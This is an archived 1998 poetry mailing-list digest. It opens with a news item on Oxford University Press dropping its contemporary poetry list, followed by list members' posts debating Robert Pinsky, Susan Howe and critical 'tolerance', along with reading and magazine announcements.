The letter told the 40 poets on the list that the publishing-house was facing "tough conditions in some of our many markets" and that it was "increasingly difficult to give such specialisms the

attention they deserve. We need to give priority to our core scholarly and educational publishing."

The poet Peter Porter, who has been with OUP for 30 years, said: "It's a bad day for serious literature when the most distinguished academic publishing house in Britain chooses to neglect contemporary literature. They probably think they can get by with endless Coleridge and Wordsworth. It's only contemporary poetry that's affected. They're not sacking Shakespeare."

He said the decision has wider implications: "It is an indication that something in Britain is getting more and more frivolous. The only thing that matters is the bottom-line."

The poet D J Enright, who has been with the publishing-house since 1979, said the poetry list had never cost much to run, particularly as the poetry editor was only employed one day a week: "That can't have cost them much. The poetry list more or less broke even. It seems it didn't make a sufficient contribution to the profits. They say they weren't able to give it promotional support, which it deserves. That seems to be the reason for destroying the list, which is ridiculous."

The letter informed the poets that OUP will not be contracting or reprinting any further books on the list, although it will honour existing commitments. It mentions the possibility of "finding a good home for the list".

Andrew Potter, OUP's director of music, trade paperback and Bibles, said the decision had been a hard one, but pointed out that 90 per cent of the list sold under 200 copies last year. Some collections sold less than a handful; more than half reached only double figures. "Very few cover their costs without a lot of subsidy," he said. "However successful some are, it just about breaks even. The university expects us to operate on commercial grounds, especially in this day and age."

Mr Enright said: "There was no warning. It was presented as a fait accompli. Even the poetry editor didn't know. The first she knew was when there was a delay in putting through several books for publication next year. It's so pathetic. The money involved is peanuts. It's a good list, built up over many years."

Another OUP poet, Carole Satyamurti, said: "This is the outrageous thing. I have a typescript ready. I had suspected something as the contract hadn't arrived. One doesn't expect OUP publishers to terminate their poetry list. It's extraordinary that a university-owned publisher doesn't realise that poetry is an ornament to their portfolio. It doesn't lose money. Their poetry list has been going since 1918. With Faber, it's one of the two most established lists in the country."

She was among many who pointed out that poetry has seen a resurgence of interest in recent years. "If a university-based publisher doesn't realise that some areas of literature are never going to make a profit, it's extremely dispiriting," she said.

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674. **J. Fuhrman**

my poetry vs. your poetry (the robert pinsky wars)

Sun 22 Nov 1998

Mark Weiss wrote:

namely, that
> they're so clue less that what they aspire to isn't poetry and as such is
> irrelevant to the practice of poetry as I understand it. And even though on
> occasion one's work may bear resemblance to what those guys and gals do
the
> premises on which it's based are worlds away. To put it differently, if I
> bicker, say, with Ron Silliman it's a family argument. Those other guys
> might as well be martians. And with these aliens there's not much hope
for.

Mark: What do you think Pinsky aspires to that's "not poetry?" Personally, I don't read much Pinsky because his somewhat odd elevated tone bugs me and I

miss the leaps of imagination I see in many other poets works. Yet I respect Pinsky's goals in way. Unlike many contemporary poets, his poems do have ideas in them (and a sense of history). I think I might also like the idea of reinventing formalism. Pinsky seems rooted in a tradition of"non-experimental verse" yet within that tradition he does carve out a voice that is unique to him. The point of all this-- Pinsky goals are very different from mine but I think it's wrong to say that because his goals are different from mine he's not interested in writing "real poetry." It's not that I am saying we should ignore poets flaws (though Charles North in his new book of essays makes a convincing case for this) but as readers we should make an effort to accept more than one paradigm for poetry. What makes us poets is our love of paradox, no? So why can't we love two poets whose ideas about poetry contradict each other or contradict what we think of as our own. Yes, poetry is in some ways always about ideas but its also and more importantly about how ideas dissolve when confronted with the power of their opposite.

Joanna Fuhrman

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675. **Peter Quartermain**

Tolerance -- LONG and IRRITATED post

Sun 22 Nov 1998

Given the rapidity with which these threads switch and exhaust themselves (a bit like the bites in _People_ magazine) I'm coming in on this a little late (and a little like an old fogey) but I'm, well, a little astonished and dismayed by this one (these two?): 1. I cannot imagine any poet not feeling passionately, I mean PASSIONATELY, about her/his writing. Why on earth else write? "Tolerance" doesn't fit that bill. Poets have LOVES and HATES. Maybe that sounds incurably romantic to many of the folk on this list, but it seems to me, for instance, that the poetry of -- hmmm, Gertrud Schnackenberg (did I spell her name right?) is, at the very least, largely a waste of my time. I have similarly vitriolic and yes! in! tol! er! ant! feelings about the work of Robert Frost, Robert Lowell, and Robert Pinsky. I once read a really interesting essay on Frost by Bill Harmon in Parnassus -- a thoughtful and really very interesting assessment of Frost's whole career, in which he cogently argued for the great value of (some of) Frost's work, poems largely neglected by anthologists and critics. So I went back and reread Frost (I bought my first book by Frost, the old Jonathan Cape Collected Poems, when I was 18, in case you're curious, nearly fifty years ago) and worked through all three volumes of Frost I've got, and, well, despite Harmon's best efforts, I couldn't stand the stuff, despite all the accomplishment he sees and argues for. I'm NOT trying to start an argument about Frost here, so don't get me wrong. I'm trying to say something about how and what I and

presumably some of WE read, the decisions we make, the passions that get aroused. Frankly I don't give a damn whether you like Frost (or Pinsky or Lowell, ar any other Robert fort that matter) -- but that you recognise that your own passions are at some point involved in your reading and rereading of those poets you get news from. After all, if you get news from NO poets, then you're wasting your time reading poetry. And if you get news from ALL of them, then the news you get probably isn't worth the paper it's on or off. The poets who don't engage my passions (e.g. Frost) as a general rule evoke the same sort of response in me as my television -- thirty seconds after we turn it on, we're some place else in the house, and it's talking to itself. "Tolerance"? I'm not sure what that word means, actually. It's so damn abstract (see point 2. below). For years and years I found that Wallace Stevens left me utterly cold, couldn't "tolerate" him; but a lot of people I respected and still respect did read him, talked about him, wrote about him. So I guessed I was missing something. And so every damn year I'd pick up some Stevens and read him, till I couldn't stand him anymore. And then one day he clicked. I'm glad I persisted (I read him more regularly, I think, than I read those whose work I loved -- and I do mean LOVED). I gained thereby what I hitherto had lost. ... . But there were many compelling arguments about Stevens, and one does, after all, pay attention to the world. I have yet to hear AMNY compelling arguments about Pinsky (for instance). So I don't buy his books -- and in fact just gave away (cleaning out my shelves) what little I had, along with Ted Hughes, Philip Larkin, Geoffrey Hill, and sundry others. When Mr Pinsky brings out a new book, well, I look at it in a bookshop. Does it engage me? Hasn't done so yet. That may very well be my loss, yes. hence the reading in the bookshiop. But does this make me "tolerant"? "INtolerant"? What does this damn word mean? What EXACTLY do people have in mind when they use this (and similar) words?

The last couple of weeks I've been rereading the works of Norman Douglas. I must say he's a stuffed shirt and an old windbag. I get a certain perverse sort of pleasure reading him, and dammit he does have a hell of a lot of old lore tucked away in his beady big brain. But, as Ruth Danon so astutely said of someone else a little while back in this thread, "the premises that govern his notion of [writing] present real problems for me." But he teaches me something about writing, about syntax, tone management, whatever. William Barnes learned from Philip "Festus" Bailey, but hated his work.

It seems to me that if you care about poetry at all, then (for as Creeley reminds us, care includes a species of anxiety), you pay attention to it in all its forms. But you don't LIKE it all, nor do you think it all of equal value... And yes, you also do now and again get news from writers whose work you don't like. You close your eyes to what you hate? If so, you won't last very long, not in this difficult world. What DOES "tolerate" mean?

Which leads me to 2. I'm completely at a loss in this thread, because there seems to be a notion that there's an "academic" view of Howe which is somehow "wrong." Well, pardon me, but, er, aren't most of the people on this list, all 600 or whatever, somehow or other "academic"s? Or are we all truck drivers and managers of McDonald's? [And whaty difference would THAT make anyway, if we were?] Could someone please tell me, WHAT IS AN ACADEMIC? And how on earth can you tell who and how many "academics" read Howe and why they read her? I've been teaching in one university for nearly forty years, and have written about Howe, and have taught the so-called Language Poets, since the very early 1980s. No one else on the faculty of the university where I work reads these writers at all (so far as I know ---

OOOOPS! I know two geographers and one semiotician here who read her, as well as a couple of pople in Fine Arts ---

), but the courses I teach in them every year are oversubscribed (and have been for nearly twenty years, since 1980), and the library has a pretty good collection of their books. .

Well, I don't want to belabour the point, but it does bother me the way everyone rushed off into grand abstractions. I could not understand ANY of the discussion about the different ways people allegedly read and respond to Howe, and neither can any of my students (readers of Howe) who followed this particular thread.

Marjorie called for "close reading." I'd like to call for clear terms, a definition- -derived through demonstrated reading practice -- of these damnable abstractions everyone seems to like to toss around. Milton was absolutely on the ball in Book Two of Paradise Lost when he located all those abstractions so beloved of politicians, academics, and members of this list, as the creations and engines of Hell.

End of long sermon (if you got this far!). Forgive me, please, but dammit, could we try to pay attention to what we say?

Peter

>
+ +

Peter Quartermain
846 Keefer Street
Vancouver
B.C.
Canada V6A 1Y7
Voice : [redacted]
Fax: [redacted]

+ +

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676. **Mark Weiss**

Re: my poetry vs. your poetry (the robert pinsky wars)

Sun 22 Nov 1998

---

1. I refer you to Peter Quartermain's excellent post. I just spent three hours designing and typesetting one very complex page of poetry for junction Press' next book. Why in hell would anybody bother with that sort of labor unless passion were involved?

2. A poem as I see it is always an experiment in search of a hypothesis, and most tentatives fail. By that definition people who take no risks by reproducing models of correct thought and feeling or canned form are simply lying to themselves and others if they call the results poems. Poetry is a dangerous practice--dangerous to the practitioner and dangerous to the serious reader. One doesn't lightly enter into things which can change our lives in unpredicatable ways. But if one is in the habit of doing so the claims of charlatans and fools are to say the least annoying.

Not particularly sorry to be intemperate. Poetry is what I do when I'm lucky enough to do it, and I pay a lot for the privilege.

At 10:53 PM 11/21/98 -0800, you wrote:

> *Mark Weiss wrote:*
>
> *namely, that*
> *they're so clue less that what they aspire to isn't poetry and as such is*
> *irrelevant to the practice of poetry as I understand it. And even though on*
> *occasion one's work may bear resemblance to what those guys and gals do the*
> *premises on which it's based are worlds away. To put it differently, if I*
> *bicker, say, with Ron Silliman it's a family argument. Those other guys*
> *might as well be martians. And with these aliens there's not much hope*
> *for.*
>
> *Mark: What do you think Pinsky aspires to that's "not poetry?"*
> *Personally, I don't read much Pinsky because his somewhat odd elevated*
> *tone bugs me and I miss the leaps of imagination I see in many other poets*
> *works. Yet I respect Pinsky's goals in way. Unlike many contemporary*
> *poets, his poems do have ideas in them (and a sense of history). I think I*
> *might also like the idea of reinventing formalism. Pinsky seems rooted in*
> *a tradition of"non-experimental verse" yet within that tradition*
> *he does carve out a voice that is unique to him.*
> *The point of all this-- Pinsky goals are very different from mine*

> *but I think it's wrong to say that because his goals are different from mine he's not interested in writing "real poetry." It's not that I am saying we should ignore poets flaws (though Charles North in his new book of essays makes a convincing case for this) but as readers we should make an effort to accept more than one paradigm for poetry. What makes us poets is our love of paradox, no? So why can't we love two poets whose ideas about poetry contradict each other or contradict what we think of as our own. Yes, poetry is in some ways always about ideas but its also and more importantly about how ideas dissolve when confronted with the power of their opposite.*
>
> *Joanna Fuhrman*

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677. **Marjorie Perloff**

Re: a second PS on the Pinsky thread

Sun 22 Nov 1998

In going to bat for Howe vs. Pinsky, I don't want to be misconstrued as supporting the us-versus-them thread often on this list (e.g. Language Poets versus Establishment poets etc.). I especially admire people like John Kinsella who want to try to reconfigure the "groups" and see if we can't see links between unlikely poets and I've argued in print that it makes no sense for the in-anthologies to feature Levertov but not Ammons, when the latter is (a) not all that different, and (b) often a better poet.

So, while I'm at it, and having been critical of Pinsky's Dante, let me recommend strongly Jonathan Galassi's MONTALE, just out, which is truly wonderful, has great notes and helpful commentary and should make a lot of people enjoy this great Italian modernist! And this is certainly a "mainstream" publication by the editor of Farrar, Straus.

xxx
Marjorie

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678. **Eliza McGrand**

Re: oh YEAH...

Sun 22 Nov 1998

i have to say henry, i don't agree with you and your position surprises me. you have often written extended, silly riffs in various assumed persona that make

more sense and are funnier the more one is exposed to them, i.e. good old jack spandrift who only really hits his stride after several extended grandstanding funny rifts. and sometimes indirection, implication, context, and good old sarcasm and irony say more than any dry academic non-humorized discussion could. .. and, isn't poetry, very often, entirely ABOUT the implied, indirect, hinted at, context... asking hte many poets on this, a list discussing what they do, not to post crit in their chosen and one would have supposed valorized approach -- the indirect, etc. -- seems, well, wierd. would i join a list on academic writing and then insist that no one can post academic writing.

i think the glory of the poetics list, for me anyway, has been the rich and fully fertilized mix of voices -- the funny, the short, the extended, the conservative, the radical, the academic, the squirrelly writers (i count myself a hybrid of that both latter -- hey, you're not catching ME standing firmly in the center of ANY group except the group that won't stand firmly in the center of any group!), the superserious Professional Theoreticians, scholars, etc. and any mix heretofore and implied and possibly implicated.

e
ps
jack spandrift says i'm right, so there.

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679. **Simon DeDeo**
Pinsky & co. at BU
Sun 22 Nov 1998

I've lost web access, so I've been unable to check the archives to see if the reading up at BU this week was mentioned; I thought it worth mentioning because of the discussion that seems to have erupted around Pinksy versus Howe.

The most concise form of my reaction was that after about ten minutes of attendence, I was unable to accurately discern who was reading fiction (the fiction folk were there, as well as the poets) and who poetry, although a friend of mine (on the list here as well) remarked that the poetry could be identified by it's more "wacky" narrative.

Each poet or novelist passed by in delirious succession leaving almost no trace, except for one reader, who I classified a poet based only upon the rapidity with which he turned the pages. His poem had the choice line:

[The Virgin Mary] walking a tightrope, in high heels <solemn pause> above the abyss.

This very well might have been Pinsky -- no programs were given. I do caution that, after talking with Louise at Groliers, I discovered that BU had a female

poet (imagine, among all that souring testosterone); I forget her name, but reading through her briefly did give a much better impression. I saw no women read, and I was there for almost all of the reading.

The entire enterprise was sustained by the uncritical acceptance of anything that passed from the podium -- the audience, apart from John and I, was older folk and BU undergraduates, with bound journals covered in flower doodles, listening with rapt attention. The only breath of fresh air came right at the end, with Derek Walcott reading a little (two minute) chunk from Omeros, which came out years ago. Has he done anything since? Or does he just harass his female undergraduates? I've never had a poetry reading make me so unusefully angry.

If we had a little less tolerance, there would never have been an audience in the first place for such obvious charlatans; they would not have been able to sustain a complete lack of critical skill in a university setting, and would have either have left off reading what they don't appriciate, or made an honest attempt to come to terms with it. And the few people who did attend would have hissed them off stage, instead of applauding after each poem.

I am not suggesting that we destory our critical notion of tolerence. But given what went on at BU -- a complete sham -- I think we at least need valorize *something* -- a skill with words, perhaps? It's hard to come down on anything definite. But I think that, given the profusion of poetry in this era of easy access to distribution (web, small press), we live in an age in dire need of limits to what we consider worth our time. It's easy to feel sympathy with the second-rate talent scribbling away; to empathize with the pompous men who cerimoniously declaimed their scrit under the protection of a major university brand seal of approval is far more difficult.

Where is the reading public? Distressed, no doubt, that all they get from publishers is Rilke and Neruda (good poets, no doubt, although I know neither of their languages, but poets that form the bulk of what gets published) and a mass of undifferentied mush.

In counterpoint, there was an excellent Geoffery Hill reading on Wednesday at Harvard; more reports later. Was anybody else there?

-- Simon DeDeo

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

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680. miekal and
If I were Poet Laureate
Sun 22 Nov 1998

Ron Silliman wrote:

What if it were Bob Holman or Patricia Smith or
> Meikel And in that seat?

1. Everyone would be required to spelled "Miekal" correctly.

2. Ezra Pound would be pardoned.

3. The Universal Language movement would be resurrected, & grade school children would be speaking Alwato.

4. Poets would be required to spend long periods of time outside the academy, integrating their words & theories into the lives of farmers, street punks, construction workers & circus performers.

5. Theory would validate actions, not supplant it.

6. Synthenaesia would be marketed on street corners by ex-crackheads.

7. The term "minor poets" would be excised forever from the canon. Viva la Harry Kemp!

8. Small press funding would be modelled after canada council's support of lit in its heyday (that be the 70's & 80's, right George?).

9. Poetry would be Y2K compliant.

the honorable & dusty MeeCow Ond

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681. Robert Archambeau
Re: tolerance
Sun 22 Nov 1998

Everyone, I suppose, is getting a bit worn out by all this, but here's my last 2 cents (or 1/12 of a kronor over here in Sweden).

I think Joe Amato is right when he says there seems to be some confusion about what we mean when we talk about tolerance -- do we mean total acceptance of everything, a kind of cool neutrality, or do we mean an attempt at openness to different paradigms of poetry?

I don't think anybody is arguing that we should give up on making judgements about what is interesting or provocative or glorious and what is a load of cat

shit (unless that's what Gabriel Gudding had in mind when he praised 'hermeneutic' criticism) (in which case I disagree with him entirely).

As to being open to different paradigms -- it seems that one ought to try to do this, even when it gets frustrating (and yes, the 'mainstream' is usually less tolerant that the fringe, but closed-mindedness can be found everywhere) -- what Peter Quartermain said about finally 'clicking' with Stevens seems to me to be a perfect example of the positive result that can (sometimes, not always) come from openness to different paradigms.

I fail to see how listening for the news from elsewhere undermines 'our' poetry. Tolerating second-rate work within a paradigm you love just because you feel the need to stick up for your own tribe seems like a more reliable way to undercut your own position.

-- One small thing about Pinsky, our registered whipping boy (one of the many useful roles a laureate plays). Pinsky's record as a critic makes it seem probable that Mark Weiss is off base when he says:

> *I think if he*
> *were aware of my work and that of a good many others on and off this list*
> *he would think that we were somehow failing to do what he does,*

I mean, Pinsky's record as a critic is a lot more various than you might guess. He probably isn't aware of what Mark is up to, and he probably wouldn't love it so much he'd change his life if he encountered it, but he has written sympathetically about poets quite different from himself (Oppen, Ashbery and Creeley, for example).

Pinsky's criticism from the 70s, especially, is interesting in another way: he tends to try hard to figure out what someone is up to, to appreciate that poet's virtues (or condemn the vices, he does that, too). And then he ends by making a judgement about how useful this work is for poetry. His conclusions have been pretty different from mine, but the method -- keeping an ear to the ground, regardless of idiom, making judgements about the work on its own terms and then on HIS own terms -- this is a damn good idea.

I'm off in the Volvo, down to the local fjord for some halibut and Absolut.

Bob Archambeau

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682. **Robert Archambeau**
Oxford UP/ACTION
Sun 22 Nov 1998

Here's something NOT to tolerate:

It is important to let Oxford University Press know that people are pissed off about them dropping contemporary poetry. E-mail messages tend not to mean much, but actual letters and faxes do make a bit of an impact.

Here's the mailing address of the man who seems to be most immediately concerned:

Andrew Potter
Oxford University Press
Great Clarendon Street, Oxford OX2 6DP.

The general telephone number for OUP is: [redacted].

And the fax is: [redacted].

Let them know they ought to be ashamed of themselves.

Robert Archambeau

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683. **Ron Silliman**
Rhetorics
Sun 22 Nov 1998

I don't get my news much from TV, so haven't caught Pinsky's act on PBS, but I certainly have seen 10 or 15 poets in recent weeks do grand imitations of someone inhaling deeply so as to capture the inner spirit of some word, so it would appear to be having some visibility. Looks like an asthma attack of the heart or some such. Would it be different if we had Susan Howe in that role? I think it's arguable, not because Susan's not a better writer but because it's role, as I gather from my secondary sources, is to stand ineffably for The Poetic. What if it were Bob Holman or Patricia Smith or Meikel And in that seat?

But I don't think you can have any sense of what a Susan Howe accomplishes if you don't read a Pinsky, at least with an anthropological view of it. So I do believe in the importance of checking in with that world, even if I read it intolerantly.

By the bye, to acknowledge Peter Quartermain's grump about the trashing of the "academy," that's a term whose history and meanings certainly could stand a little unpacking. It is after all the same ideological state apparatus that has so famously shat upon the likes of Andy Levy and Joe Amato and literally hundreds of other good and competent people, and which leads to the creation of institutions such as the Academy of American Poets, but it also has other meanings as well. It is what enables and empowers other folks: Peter, Charles B (the absent father in Buffalo, as somebody referred to him recently), Bob Perelman, et al. I'd be curious to see what the breakdown of jobs is on the Poetics List, all 700

folks, since I suspect Peter's right that perhaps 500 are in some connection to the academy, but as one of the other 200, no, Peter, it's nothing like 100%.

Ron

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684. **Gabriel Gudding**
Re: Marjorie Perloff is Wrong
Sun 22 Nov 1998

On Sun, 22 Nov 1998, mj devaney wrote:

> *Gabriel Gudding wrote:*
>
> *MP wrote:*
> *But neither poetry nor criticism ever came out of tolerance;*
> *they are born out of opposition (to earlier poetries, rival poetries,*
> *political systems, forms of oppression), resistance, and --hard as it is*
> *to use the word at the moment-- discrimination.*
>
> *1). Actually, this isn't true. Even a slight familiarity with American*
> *literary criticism during the first half of the 19C will show that*
> *without a turn toward a more tolerant kind of criticism, the burgeoning*
> *of letters known as the American Renaissance would certainly not have*
> *happened.*
>
> *But then:*
>
> *2). In his _The Origins of American Critical Thought, 1810-1835_ (1936),*
> *William Charvat declared the literature of American romanticism differed*
> *markedly from that of the British Romantics, attributing the difference to*
> *the influence of a radically judicial strain of, as he called it,*
> *"Scotch-based" American criticism during that quarter decade.*
>
> *Doesn't this support Marjorie's point, since American romanticism here*
> *is defined in opposition to British romanticism?*
>
> *--MJ Devaney*

To beat a dead donkey thread: No, Charvat said this, Walhout bettered Charvat's metaphor and research, and I'm saying that there is probably a relation btw the new open critical milieu (which Walhout takes not of) and that blossoming known as the Am Ren. I'm not "praising" hermeneutical criticism: I'm saying here's an instance of extreme critical openness and isn't it interesting that it coincides with a fascinating explosion of letters. Dead donkey oh it dead. I'm tired of these rifles. Whey da shotguns go? -- Gigi

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685. **schuchat**
pinsky, tolerance, u.s.w.
Sun 22 Nov 1998

---

the other tradition in which I am schooled, that is, the Confucian concept of poetry, starts with the assumption that poetry is somehow absolutely transparent, in that you can know the person who wrote it, assuming you can read it, have the sympathy, education, etc, necessary for the successful act of reading -- but the point being that the person, their character, is all there and available, and nothing can ultimately be hidden. consequently poetry can be used, for example, to select bureaucrats since by their writing you will know whether they have, e.g., integrity, compassion, wisdom (also you can tell, by how they follow the rules of versification, what their spoken accent in Chinese is like but that's another issue). poetry also makes it possible to experience being another person, the writer of the poem, e.g., the "lascivious" poems in the Book of Songs were good to read in order to experience lascivious thoughts, so that one could recognize and overcome them in daily life -- not for prurience but prophylaxis.

these assumptions don't fully accord with our own tradition in America but for me they do make some sense and are useful. whether there is total transparency or not, there is a person in the poetry that can be known. no two so-called language poets that I have ever read are same, for a simplistic example, and without much difficulty a reader can identify one or another.

so, what does this matter? reading Robert Pinsky enables the reader to know Robert Pinsky, to know it is like to be Robert Pinsky. if you don't want to know Robert Pinsky you probably won't enjoy reading the poetry. if the reader can't be interested enough to distinguish between Pinsky, Gerald Stern, Philip Levine, that's okay too, you don't have to be friends with everyone. I don't remember ever having read any poems by any of them, to be honest, whether I ever did or not, so whether I really have standing to speak about Pinsky or not, I don't know.

the Confucian tradition also takes this transparency a little further, because not only can the reader know the person, they can also know their times, the world in which the poet wrote. so there is something a bout Pinsky that, because of his fame if nothing else, is necessarily of value in knowing his/our times. but it might not speak well for our times.

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686. **Gabriel Gudding**

Re: A PS on the Tolerance Issue

Sun 22 Nov 1998

On Sun, 22 Nov 1998, Marjorie Perloff wrote:

> *But "tolerance" of poetries that one takes to be --as one member of the List said--not poetry at all but just crap is a way of undercutting the very poetry one believes in and has had a terrible effect of making things bland and unimportant.*

b). "Bland and unimportant"? Let's please remember that a great deal of great poetry, thank god, has identified itself as Unimportant, as minor literature. I stand here with Beckett: keep your importance. Literature fails when it tries to be important. We're nobodies: you want to know what's romantic about this oppositionalism?: it makes Importance, it makes literary heroes, it makes schools (aka groups of cranks); and, just as a side note, it makes, eventually, raunchy bad reading.

c). It is not necessary to be "oppositional": all that's necessary is to do what you do, to write how you write. Despite what I think of Pinsky's poetry, I think Bully For Him: Bully for Pinsky that he's famous!

1). It's this oppositional myPoetry v yrPoery, Either/Or, Zero-sum attitude that is so absolutely unnecessary. The attempt to awaken such an attitude in contemporary poets because it historically mirrors the lives of former poet-cranks is a wowzer.

d). Are we so pusillanimous that we cannot be sympathetically joyful Pinksy is enjoying fame for his work?

e). Good for Pinsky. Fuck it: let's talk of all those who, in the words of the great Patrick Kavanagh, had no tolerance and were kept from an audience:

"Of a holy hearing audience....
I thank you and say how proud
That I have been by fate allowed
To stand here having the joyful chance
To claim my inheritance
For most have died the day before
The opening of that holy door."

-- Gigi

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687. **Jim Bennett**
Reading
Sun 22 Nov 1998

This is a multi-part message in MIME format.

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A free poetry event -

David Bateman

Jim Bennett

Poets David Bateman and Jim Bennett
at the Everyman Bistro, Liverpool.

8pm on Thursday 26th November

Third Room, Everyman Bistro.

Everyone welcome.

Some open mike time available.

For information phone Jim on 0[redacted]

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"Poetry is what the future makes of it." John Garner

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Bateman

Jim=20
Bennett

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at
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Bistro, Liverpool.

8pm on Thursday 26th
November

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Everyone welcome.

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is what the future makes of it." John=20
Garner

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688. **Bob Grumman**

Re: my poetry vs. your poetry (the robert pinsky wars)

Sun 22 Nov 1998

Mark Weiss says, "A poem as I see it is always an experiment in search of a hypothesis and most tentatives fail. By that definition people who take no risks by reproducing models of correct thought and feeling or canned form are simply lying to themselves and others if they call the results poems. Poetry is a dangerous practice--dangerous to the practitioner and dangerous to the serious reader. One doesn't lightly enter into things which can change our lives in unpredicatable ways. But if one is in the habit of doing so the claims of charlatans and fools are to say the least annoying."

I empathize with all this but as a Serious Taxonomizer I feel Mark is distinguishing valuable from not-so-valuable and lesser poetry. If a carpenter throws together a house that protects someone from the rain but not the cold, we don't say it isn't a house because it is inferior, we say it is a lousy house.

A problem is that we have no single word for Serious Poetry. Or maybe what we need is one for inferior verse. "Verse" is sometimes used but I don't like it since it also indicate metrical writing.

I dunno. I think I'd be content to call Pinsky's stuff poetry but not craft-extending poetry, and be done with it. I could never say it was not poetry.

While I'm here, a few comments on the latest Perloff thread.

I LIKE names' being put in subject boxes. It's human to like to have people in mind as well as their ideas. And I note that Gabriel Gudding's post got quite a flurring (I meant "flurry" but sorta like this "flurring") of attention I doubt it would have if he'd politely avoided mentioning Perloff.

I think Perloff should have gone for "discrimination" (as she did, finally, at the end of her first post) rather than "intolerance" as her key term. Tolerance/intolerance are too loaded and tricky to define. I'm tolerant of all forms of poetry, for example, inasmuch as I don't think they should be abolished. I'm intolerant of them inasmuch as I say bad things about them and would not allow them into any anthology I edited. (I often say that my motto would be, "Judgemental, but not Intolerant.")

To me it is a truism that all poets (and all humans) work against what they don't like and toward or with what they do like.

Perloff and everyone else with any sense is simply against bland acceptance of everything.

Final note: there's no more difference between American and British Romanticism than there is between New York Romanticism and New England Romanticism.

--Bob G.

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689. **Mairead Byrne**
Re: Society of Unimportance
Sun 22 Nov 1998

I no longer wish to part of the group named Mark or the group named Kent or the group with initials DB, db, or any combination thereof.

I wish to inaugurate a truly unimportant group, of which naturally I am not important enough to be the only member. "No, no, no, I know I was not important" -- we take our legend from the late great Patrick Kavanagh.

We may breach the bastions of importance with squibs, jokes, jots, asides, darts, humphs, hee-haws, and upside down Spanish exclamation marks -- for we will never square up, be rhetorical, take it like a man, tell it how it is, argue our point, stand our ground, close ranks, squash butterflies or like Nabokov catch and pin them. We WILL stand our round, however, but never in the nightmare resuscitation of a 1950s Irish pub which the Buffalo Poetics List threatens to become.

We will be tolerant as tolerance is marginally more fun than intolerance (which hurts people) and you get to fall in love with the most unlikely types -- just like I fell in love with Alan Dugan in fact, he's quite unimportant too (though a lot less so than I am).

As well as being more fun, tolerance lets our silly little voices be heard, as long as they don't go on TOO much. I was miffed, I can tell you, when I got that horrid anonymous dictum from the Man Above, and bewildered when I got a horrid note from a Mary-Lou person with this question in the subject line: "Ever read any poetry? Just curious." I was plunged all morning in the weird realization of just how saturated in poetry my days have become, after all this time: you dabble in something and find it has become your life.

So I'm the nobody Marjorie Perloff refers to when she says "No one needs poetry, after all."

Mark Weiss says (re civic and poetic intolerance): "Nor is there a necessary contagion from one kind of intolerance to the other." Sure. As long as we all remain truly unimportant people.

What is an academic, Peter Quartermain asks. Someone who tolerates the disciplinary institutions of education and who is in turn tolerated by these institutions, dependent on a reasonable degree of collaboration in terms of dutifulness and behavior?

Of all the typos, I liked Susan Schultz's best: "a wide rage of authors" which seems to fit very snugly between wide range and wild rage. Though I like Peter Quartermain's "couple of pople" too.

I'm all in favor of gentleness and surprise.

Mairead

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690. Gabriel Gudding
SUBMIT YOU DOG
Sun 22 Nov 1998

---

1). The email rag SUBMIT YOU DOG is now accepting email submissions of poetry (and only poetry) for its December issue.

2). We have no editorial policy. That is to say, we print everything we receive, ordering the submissions alphabetically by author's last name. Those of you who will now charge us either with being alphabetically elitist (for ordering according to alphabetic order) or with being stupidly inclusive, please know that we care not one wit for either aesthetic aristocracy or literary Democracy: we're just lazy.

3). Each contributor gets three contributor's copies of the magazine. (We email it to you three times).

4). If you wish to submit or subscribe, email me, Gutenberg Gudding, at [redacted].

5). We (I am but a co-editor) send this email rag off on or around the first of each month.

6). No attachments, please. Just plain ASCII.

7). Nor finally do we buy any rights. You keep your rights.

8). But, as always, you have the right to remain silent.

-- Gutenberg Gudding

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691. **Karen Kelley**
Re: Oh Yeah!
Sun 22 Nov 1998

Okay, here's a question:

Yesterday morning my neighbor corralled me in the carport to ask about poetry. Apparently she's always tried to write, but could never "get it to rhyme." Okay, simple answer: "It doesn't have to. Write what you want."

She didn't ask me who she should read, but in perusing this thread, I wonder: if she had said to me, *Hey, should I read this guy Pinsky, or this Susan Howe chick?* what would I have said? I think I would have leaned toward Pinsky, throwing in a few caveats.

Coincidentally, tolerance is a big thread on the women's bodybuilding list I subscribe to: fitness shows or bodybuilding contests: which is destroying the fiber of our beloved sport? Heading on one post: "It's all good." Chalk one up to hevily-muscled tolerance.

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692. **Edward Fristrom**
Re: GABRIEL GUDDING IS LEFT
Sun 22 Nov 1998

George Thompson wrote:

> *Where I come from, if you are tolerant, you are open-minded. If you are*
> *intolerant, you are closed-minded.*

Where I come from. "tolerance" does not denote open mindedness. . . If I "tolerate" students or poets in my class, it does not mean I am open minded toward them. It means they are viruses, that, through repeated exposure, I have grown immune to. It means that I drink but I don't get drunk.

--Ted

P.S. Usually, however, I avoid disputing the viruses and sobrieties directly. They inevitably want to set the terms of the debate.

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693. **Hugh Steinberg**
tolerance
Sun 22 Nov 1998

Tony Kushner has a pretty decent essay on tolerance. He writes, "Tolerance can be used to normalize an insupportable situation, or it can serve to warn those groups which lack real power that they exist on sufferance, that they are tolerated."

To what extent then is our work tolerated? Exactly as much as it takes part in a power structure that is hostile to what and how we write. You want to get an award from the Academy of American Poets, you better hope you're tolerable.

If one is feeling pessimistic, it is easy to perceive the world of poetry as one that consists of polarized and hostile camps, endlessly bickering with one another (or operating in a sort of snooty ignorance of everything else outside of their tiny and shrinking circles). What thin glazing of tolerance we tolerate mostly produces tokenism and toadyism, a superficial engagement that does little for the art.

What choices do we have? We can create our own institutions, magazines, presses, communities, and circle the wagons. Or we can work to undo that hostility.

I agree with Marjorie that reading work by people outside one's clique is important, not just to pat yourself on the head and feel good about the utter brilliance of your work, but with a willingness to maybe learn something, and to start a dialogue. It means looking for intersections, commonalities between our writing and those of others. It is often surprising to discover how many of them there are.

I also think its important that the big institutions, the funders, the magazines that purport to show what's best in poetry, resist aesthetic (and all other forms of) apartheid in their choice of poets and poetry.

It also means insisting upon a place at the table. I hate having to use euphemisms for the type of poetry we present at Small Press Traffic when I'm working on a grant. But I also understand how important it is to communicate what we do to people who have no idea what we do, and to communicate why what we do (the writers we present) are important.

Hugh Steinberg

Marjorie Perloff writes:

